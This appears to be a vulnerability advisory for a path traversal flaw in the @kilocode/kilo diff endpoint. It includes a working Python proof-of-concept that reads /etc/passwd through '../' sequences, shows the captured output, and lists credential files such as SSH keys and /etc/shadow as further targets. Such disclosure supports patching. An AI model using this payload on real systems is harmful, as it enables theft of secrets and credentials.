Title: Unrestricted Arbitrary File Read (Path Traversal) via /experimental/worktree/diff/file
Description:
An unsafe path construction logic without constraint checks in the /experimental/worktree/diff/file API endpoint allows any remote attacker or unauthenticated user with network access to use directory traversal sequences (../../) within queries. This allows them to read arbitrary files from the server's filesystem, exposing sensitive system assets directly over the HTTP API.
The endpoint /experimental/worktree/diff/file primarily provides file diff representations for code review purposes. The request accepts a user-controlled file parameter, passed downstream into WorktreeDiff.detail().
The function detailMeta() in packages/opencode/src/kilocode/review/worktree-diff.ts takes this parameter and invokes Bun.file(path.join(dir, file)) to locate the target diff components. If the file is untracked by Git, it falls through to retrieving its character size and structure, extracting text payloads directly. Because the application utilizes path.join() which naturally interpolates ../ relative traversal attempts instead of preventing them or normalizing the route back to the valid workspace boundary, an attacker can input absolute or traversal arguments (../../../../etc/passwd) to escape the context. The arbitrary external file contents are read efficiently and encapsulated into the JSON response's "after" value, delivering full arbitrary file read.
- Start the Kilocode local instance (running on port
4096). - Save the following reproduction script as
poc_exploit.py:
import requests
def exploit():
url = "http://localhost:4096/experimental/worktree/diff/file"
params = {
"file": "../../../../../../../../../../../../../../../etc/passwd",
"base": "HEAD",
}
# Substitute x-opencode-directory with the currently active workspace instance dir
headers = {
"x-opencode-directory": "/root/llm-project-ts/kilocode"
}
print(f"[*] Sending request to {url}")
try:
response = requests.get(url, params=params, headers=headers)
print(f"[*] Status: {response.status_code}")
if response.status_code == 200:
data = response.json()
if data and data.get("after"):
print("[+] SUCCESS! Read contents:")
print(data["after"][:500] + "...")
else:
print("[-] Failed: No file content in response")
else:
print(f"[-] Failed with status {response.status_code}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
exploit()- Run the script:
python3 poc_exploit.py
[*] Sending request to http://localhost:4096/experimental/worktree/diff/file
[*] Status: 200
[+] SUCCESS! Read contents:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin...
The vulnerability is a classic Path Traversal (CWE-22) issue leading to complete unrestricted Arbitrary File Read. Attackers can compromise mission-critical assets including AWS credentials, .env file API keys, SSH private keys (~/.ssh/id_rsa), OS passwords (/etc/shadow), leading to total system compromise, environment takeover, and extended lateral damage.
- Ecosystem: bun
- Package name: @kilocode/kilo
- Affected versions: <= 7.0.47
- Patched versions:
- Severity: High
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
| Permalink | Description |
|---|---|
packages/opencode/src/kilocode/review/worktree-diff.ts#L143 |
The raw user-controlled file path (file) is appended directly to the workspace dir (dir) via path.join(), checking for existence without validating boundaries. |
packages/opencode/src/kilocode/review/worktree-diff.ts#L146 |
The path traversal payload gets passed into lineCount, reading the raw target out-of-bounds structure. |
packages/opencode/src/kilocode/review/worktree-diff.ts#L235 |
Within readAfter, Bun.file(path.join(dir, file)).text() successfully streams and executes the read instruction for the unverified path string, wrapping sensitive OS content into the API response format. |